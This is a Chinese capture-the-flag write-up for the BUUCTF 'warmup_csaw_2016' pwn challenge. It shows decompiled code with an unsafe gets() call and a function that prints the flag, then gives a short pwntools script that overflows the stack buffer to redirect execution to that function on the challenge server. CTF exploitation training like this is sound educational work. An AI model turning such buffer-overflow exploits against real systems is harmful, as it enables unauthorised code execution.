buuctf PWN warmup_csaw_2016

下载附件,IDA查看

发现直接有显示flag函数

复制代码
int sub_40060D()
{
  return system("cat flag.txt");
}

查看程序起始地址0x40060D

复制代码
; Attributes: bp-based frame

sub_40060D proc near
; __unwind {
push    rbp
mov     rbp, rsp
mov     edi, offset command ; "cat flag.txt"
call    _system
pop     rbp
retn
; } // starts at 40060D
sub_40060D endp

查看main函数

复制代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5);
}

发现函数gets(v5),是栈溢出

char v5[64]; // [rsp+40h] [rbp-40h] BYREF

看到v5占用64个位置

那就可以改写exp:

复制代码
from __future__ import absolute_import
from pwn import *  
p=remote(u"node4.buuoj.cn",29692) 
payload=u'A'*64+u'B'*8+p64(0x40060D+1).decode(u"iso-8859-1")
p.sendline(payload)
p.interactive()

运行结果

相关推荐
暴富奥利奥2 分钟前
完成docker方式的ros环境配置
linux·学习·docker·容器
秃头菜狗5 分钟前
十四、运行经典案例 wordcount
大数据·linux·hadoop
魔众15 分钟前
ModStartCMS v9.7.0 组件升级优化,模块升级提醒,访问明细导出
php·cms
lly20240616 分钟前
HTML 元素:构建网页的基础
开发语言
低调小一17 分钟前
LRU缓存科普与实现(Kotlin 与 Swift)
开发语言·缓存·kotlin
爱好学习的青年人17 分钟前
一文详解Go语言字符串
开发语言·后端·golang
Chan1620 分钟前
批处理优化:从稳定性、性能、数据一致性、健壮性、可观测性五大维度,优化批量操作
java·spring boot·后端·性能优化·java-ee·intellij-idea·优化
行者阿毅21 分钟前
langchain4j+DashScope (通义千问)文生图
java·ai作画
Bug退退退12330 分钟前
Java 网络流式编程
java·服务器·spring·sse
IT机器猫30 分钟前
RabbitMQ
java·rabbitmq·java-rabbitmq